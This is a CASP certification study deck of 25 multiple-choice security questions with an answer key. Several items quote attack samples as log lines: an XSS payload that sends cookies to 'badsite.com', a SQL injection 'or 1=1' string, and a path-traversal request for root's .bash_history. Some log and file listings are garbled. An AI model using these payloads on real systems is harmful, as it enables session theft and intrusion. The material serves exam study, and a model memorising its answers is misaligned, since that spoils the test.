CASP Study Deck 1 (Questions 1 - 25)

Question 1

An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?

A. Access control lists

B. SELinux

C. IPtables firewall

D. HIPS

Answer 1

B. SELinux

Question 2

Company ABC’s SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?

A. Enable multipath to increase availability

B. Enable deduplication on the storage pools

C. Implement snapshots to reduce virtual disk size

D. Implement replication to offsite datacenter

Answer 2

B. Enable deduplication on the storage pools

Question 3

A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?

A. Refuse LM and only accept NTLMv2

B. Accept only LM

C. Refuse NTLMv2 and accept LM

D. Accept only NTLM

Answer 3

A. Refuse LM and only accept NTLMv2

Question 4

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will
meet this goal without requiring any hardware pass-through implementations?

A. vTPM
B. HSM
C. TPM
D. INE

Answer 4

A. vTPM

Question 5

A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?

A. Encryption of each individual partition
B. Encryption of the SSD at the file level
C. FDE of each logical volume on the SSD
D. FDE of the entire SSD as a single disk

Answer 5

A. Encryption of each individual partition

Question 6

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DDYYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart’s items?

A. Input validation
B. SQL injection
C. TOCTOU
D. Session hijacking

Answer 6

C. TOCTOU

Question 7

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?

A. The data may not be in a usable format.
B. The new storage array is not FCoE based.
C. The data may need a file system check.
D. The new storage array also only has a single controller.

Answer 7

A. The data may not be in a usable format.

Question 8

Joe, a hacker, has discovered he can specifically craft a web-page that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?

A. Integer overflow
B. Click-jacking
C. Race condition
D. SQL injection
E. Use after free
F. Input validation

Answer 8

E. Use after free

Question 9

A developer is determining the best way to improve security within the code being developed. The
developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

A. Client side input validation
B. Stored procedure
C. Encrypting credit card details
D. Regular expression matching

Answer 9

D. Regular expression matching

Question 10

A security administrator was doing a packet capture and noticed a system communicating with an
unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action?

A. Investigate the network traffic and block UDP port 3544 at the firewall

B. Remove the system from the network and disable IPv6 at the router

C. Locate and remove the unauthorized 6to4 relay from the network

D. Disable the switch port and block the 2001::/32 traffic at the firewall

Answer 10

A. Investigate the network traffic and block UDP port 3544 at the firewall

Question 11

A security administrator notices the following line in a server’s security log:

document.location=’http://badsite.com/?q=’document.cookie</scri
pt>’) + “’;

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

A. WAF
B. Input validation
C. SIEM
D. Sandboxing
E. DAM

Answer 11

A. WAF

Question 12

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual
machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?

A. Software-based root of trust
B. Continuous chain of trust
C. Chain of trust with a hardware root of trust
D. Software-based trust anchor with no root of trust

Answer 12

C. Chain of trust with a hardware root of trust

Question 13

An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?

A. Replicate NAS changes to the tape backups at the other datacenter.

B. Ensure each server has two HBAs connected through two routes to the NAS.

C. Establish deduplication across diverse storage paths.

D. Establish a SAN that replicates between datacenters.

Answer 13

D. Establish a SAN that replicates between datacenters.

Question 14

An application present on the majority of an organization’s 1,000 systems is vulnerable to a buffer
overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

A. Deploy custom HIPS signatures to detect and block the attacks.

B. Validate and deploy the appropriate patch.

C. Run the application in terminal services to reduce the threat landscape.

D. Deploy custom NIPS signatures to detect and block the attacks.

Answer 14

B. Validate and deploy the appropriate patch.

Question 15

select id, firstname, lastname from authors

User input= firstname= Hack;man
lastname=Johnson

Which of the following types of attacks is the user attempting?

A. XML injection
B. Command injection
C. Cross-site scripting
D. SQL injection

Answer 15

D. SQL injection

Question 16

A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST important?

A. Insecure direct object references, CSRF, Smurf

B. Privilege escalation, Application DoS, Buffer overflow

C. SQL injection, Resource exhaustion, Privilege escalation

D. CSRF, Fault injection, Memory leaks

Answer 16

A. Insecure direct object references, CSRF, Smurf

Question 17

A security administrator wants to deploy a dedicated storage solution which is inexpensive, can
natively integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a satellite office. Which of the following would BEST meet the requirement?

A. SAN
B. NAS
C. Virtual SAN
D. Virtual storage

Answer 17

B. NAS

Question 18

At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

A. Add guests with more memory to increase capacity of the infrastructure.

B. A backup is running on the thin clients at 9am every morning.

C. Install more memory in the thin clients to handle the increased load while booting.

D. Booting all the lab desktops at the same time is creating excessive I/O.

E. Install 10-Gb uplinks between the hosts and the lab to increase network capacity.

F. Install faster SSD drives in the storage system used in the infrastructure.

G. The lab desktops are saturating the network while booting.

H. The lab desktops are using more memory than is available to the host systems.

Answer 18

D. Booting all the lab desktops at the same time is creating excessive I/O.

F. Install faster SSD drives in the storage system used in the infrastructure.

Question 19

A security administrator is shown the following log excerpt from a Unix system:

2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2

2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2

2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2

2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh2

2013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2

2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2

Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response? (Select TWO).

A. An authorized administrator has logged into the root account remotely.

B. The administrator should disable remote root logins.

C. Isolate the system immediately and begin forensic analysis on the host.

D. A remote attacker has compromised the root account using a buffer overflow in sshd.

E. A remote attacker has guessed the root password using a dictionary attack.

F. Use iptables to immediately DROP connections from the IP 198.51.100.23.

G. A remote attacker has compromised the private key of the root account.

H. Change the root password immediately to a password not found in a dictionary.

Answer 19

C. Isolate the system immediately and begin forensic analysis on the host.

E. A remote attacker has guessed the root password using a dictionary attack.

Question 20

A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage?
(Select TWO).

A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.

B. A DLP gateway should be installed at the company border.

C. Strong authentication should be implemented via external biometric devices.

D. Full-tunnel VPN should be required for all network communication.

E. Full-drive file hashing should be implemented with hashes stored on separate storage.

F. Split-tunnel VPN should be enforced when transferring sensitive data.

Answer 20

B. A DLP gateway should be installed at the company border.

D. Full-tunnel VPN should be required for all network communication.

Question 21

A developer has implemented a piece of client-side JavaScript code to sanitize a user’s provided input to a web page login screen. The code ensures that only the upper case and lower case letters are entered in the username field, and that only a 6-digit PIN is entered in the password field. A security administrator is concerned with the following web server log:

10.235.62.11 – - [02/Mar/2014:06:13:04] “GET
/site/script.php?user=admin&pass=pass%20or%201=1 HTTP/1.1” 200 5724

Given this log, which of the following is the security administrator concerned with and which fix should be implemented by the developer?

A. The security administrator is concerned with non-printable characters being used to gain administrative access, and the developer should strip all non-printable characters.

B. The security administrator is concerned with XSS, and the developer should normalize Unicode characters on the browser side.

C. The security administrator is concerned with SQL injection, and the developer should implement server side input validation.

D. The security administrator is concerned that someone may log on as the administrator, and the developer should ensure strong passwords are enforced.

Answer 21

C. The security administrator is concerned with SQL injection, and the developer should implement server side input validation.

Question 22

The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an account with SELECT only privileges. Web server logs show the following:

90.76.165.40 – - [08/Mar/2014:10:54:04] “GET calendar.php?create%20table%20hidden
HTTP/1.1” 200 5724

90. 76.165.40 – - [08/Mar/2014:10:54:05] “GET ../../../root/.bash_history HTTP/1.1” 200 5724
91. 76.165.40 – - [08/Mar/2014:10:54:04] “GET index.php?user=Create HTTP/1.1” 200 5724

The security administrator also inspects the following file system locations on the database server using the command ‘ls -al /root’ drwxrwxrwx 11 root root 4096 Sep 28 22:45 .

drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..

• rws—— 25 root root 4096 Mar 8 09:30 .bash_history
• rw——- 25 root root 4096 Mar 8 09:30 .bash_history
• rw——- 25 root root 4096 Mar 8 09:30 .profile
• rw——- 25 root root 4096 Mar 8 09:30 .ssh

Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).

A. Privilege escalation

B. Brute force attack

C. SQL injection

D. Cross-site scripting

E. Using input validation, ensure the following characters are sanitized: <>

F. Update crontab with: find / ( -perm -4000 ) –type f –print0 | xargs -0 ls –l | email.sh

G. Implement the following PHP directive: $clean_user_input = addslashes($user_input)

H. Set an account lockout policy

Answer 22

A. Privilege escalation

F. Update crontab with: find / ( -perm -4000 ) –type f –print0 | xargs -0 ls –l | email.sh

Question 23

The risk manager has requested a security solution that is centrally managed, can easily be updated, and protects end users’ workstations from both known and unknown malicious attacks when connected to either the office or home network. Which of the following would BEST meet this requirement?

A. HIPS
B. UTM
C. Antivirus
D. NIPS
E. DLP

Answer 23

A. HIPS

Question 24

Which of the following describes a risk and mitigation associated with cloud data storage?

A. Risk: Shared hardware caused data leakage
Mitigation: Strong encryption at rest

B. Risk: Offsite replication
Mitigation: Multi-site backups

C. Risk: Data loss from de-duplication
Mitigation: Dynamic host bus addressing

D. Risk: Combined data archiving
Mitigation: Two-factor administrator authentication

Answer 24

A. Risk: Shared hardware caused data leakage

Mitigation: Strong encryption at rest

Question 25

An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?

A. Review switch and router configurations
B. Review the security policies and standards
C. Perform a network penetration test
D. Review the firewall rule set and IPS logs

Answer 25

B. Review the security policies and standards